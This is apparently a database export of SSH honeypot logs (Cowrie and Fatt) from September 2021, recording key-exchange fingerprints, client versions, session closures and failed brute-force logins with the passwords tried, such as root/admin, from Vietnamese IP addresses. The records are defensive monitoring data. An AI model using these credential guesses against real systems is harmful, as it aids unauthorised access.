"hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fd00b0142700", "@version": "1", "timestamp": "2021-09-20T11:07:26.490832Z", "@timestamp": "2021-09-20T11:07:26.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23444	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.636232+03	2021-09-20 14:15:07.51647+03	{"_id": "bgbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [kim/kim!@] failed", "session": "70d5de51c536", "@version": "1", "password": "kim!@", "username": "kim", "timestamp": "2021-09-20T11:07:37.636232Z", "@timestamp": "2021-09-20T11:07:37.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22924	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:26.830132+03	2021-09-20 14:15:06.840471+03	{"_id": "IwbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33996, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.830132", "@timestamp": "2021-09-20T11:07:26.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22925	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:26.872453+03	2021-09-20 14:15:06.842471+03	{"_id": "JAbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7400, "timestamp": "2021-09-20T11:07:26.872453", "@timestamp": "2021-09-20T11:07:26.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22926	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:26.874728+03	2021-09-20 14:15:06.84347+03	{"_id": "JQbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33434, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.874728", "@timestamp": "2021-09-20T11:07:26.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22927	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:26.880288+03	2021-09-20 14:15:06.84547+03	{"_id": "JgbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35318, "timestamp": "2021-09-20T11:07:26.880288", "@timestamp": "2021-09-20T11:07:26.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23523	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:33.643708+03	2021-09-20 14:15:07.617471+03	{"_id": "bQbjAnwBvYTbRNuExgyo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "509dac389da3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:33.643708Z", "@timestamp": "2021-09-20T11:07:33.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22928	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:26.880898+03	2021-09-20 14:15:06.84647+03	{"_id": "JwbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35318, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.880898", "@timestamp": "2021-09-20T11:07:26.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22929	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:26.285716+03	2021-09-20 14:15:06.848472+03	{"_id": "KAbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "1212aec356af", "@version": "1", "duration": 5.605672121047974, "timestamp": "2021-09-20T11:07:26.285716Z", "@timestamp": "2021-09-20T11:07:26.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22930	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:26.681025+03	2021-09-20 14:15:06.849472+03	{"_id": "KQbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "65f8e946b8bd", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:07:26.681025Z", "@timestamp": "2021-09-20T11:07:26.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
